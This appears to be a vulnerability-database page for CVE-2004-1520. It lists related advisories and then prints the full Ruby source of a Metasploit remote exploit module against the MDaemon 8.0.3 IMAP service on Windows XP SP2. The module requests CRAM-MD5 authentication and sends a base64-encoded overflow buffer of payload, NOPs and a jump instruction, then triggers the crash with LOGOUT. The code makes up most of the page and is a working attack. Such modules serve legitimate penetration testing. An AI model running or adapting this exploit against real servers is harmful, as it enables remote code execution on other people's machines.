| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| Ipswitch IMail Server < 8.14.0 Delete Command Buffer Overflow | 22 Nov 200400:00 | – | nessus | |
| Ipswitch IMail IMAP Service DELETE Command Remote Overflow | 19 Nov 200400:00 | – | nessus | |
| CVE-2004-1520 | 20 Sep 201000:00 | – | circl | |
| Ipswitch IMail IMAP Service DELETE Command Buffer Overflow (CVE-2004-1520) | 12 Oct 200900:00 | – | checkpoint_advisories | |
| CVE-2004-1520 | 19 Feb 200505:00 | – | cve | |
| CVE-2004-1520 | 19 Feb 200505:00 | – | cvelist | |
| MDaemon 8.0.3 - IMAPD CRAM-MD5 Authentication Overflow (Metasploit) | 12 Aug 200500:00 | – | exploitdb | |
| IPSwitch IMail IMAP4D - Delete Overflow (Metasploit) | 20 Sep 201000:00 | – | exploitdb | |
| IMail IMAP4D Delete Overflow | 5 Dec 200505:00 | – | metasploit | |
| Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow | 5 Dec 200505:00 | – | metasploit |
##
# $Id: mdaemon_cram_md5.rb 9583 2010-06-22 19:11:05Z todb $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Imap
def initialize(info = {})
super(update_info(info,
'Name' => 'Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow',
'Description' => %q{
This module exploits a buffer overflow in the CRAM-MD5
authentication of the MDaemon IMAP service. This
vulnerability was discovered by Muts.
},
'Author' => [ 'anonymous' ],
'License' => BSD_LICENSE,
'Version' => '$Revision: 9583 $',
'References' =>
[
[ 'CVE', '2004-1520'],
[ 'OSVDB', '11838'],
[ 'BID', '11675'],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'MDaemon IMAP 8.0.3 Windows XP SP2', { } ],
],
'DisclosureDate' => 'Nov 12 2004',
'DefaultTarget' => 0))
end
def exploit
connect
print_status("Asking for CRAM-MD5 authentication...")
sock.put("a001 authenticate cram-md5\r\n")
res = sock.get_once
print_status("Received CRAM-MD5 answer: #{res.chomp}")
# Magic no return-address exploitation ninjaness!
buf = 'AAAA' + payload.encoded + make_nops(258) + "\xe9\x05\xfd\xff\xff"
req = Rex::Text.encode_base64(buf) + "\r\n"
sock.put(req)
res = sock.get_once
print_status("Received authentication reply: #{res.chomp}")
print_status("Sending LOGOUT to close the thread and trigger an exception")
sock.put("a002 LOGOUT\r\n")
res = sock.get_once
print_status("Received LOGOUT reply: #{res.chomp}")
select(nil,nil,nil,1)
handler
disconnect
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation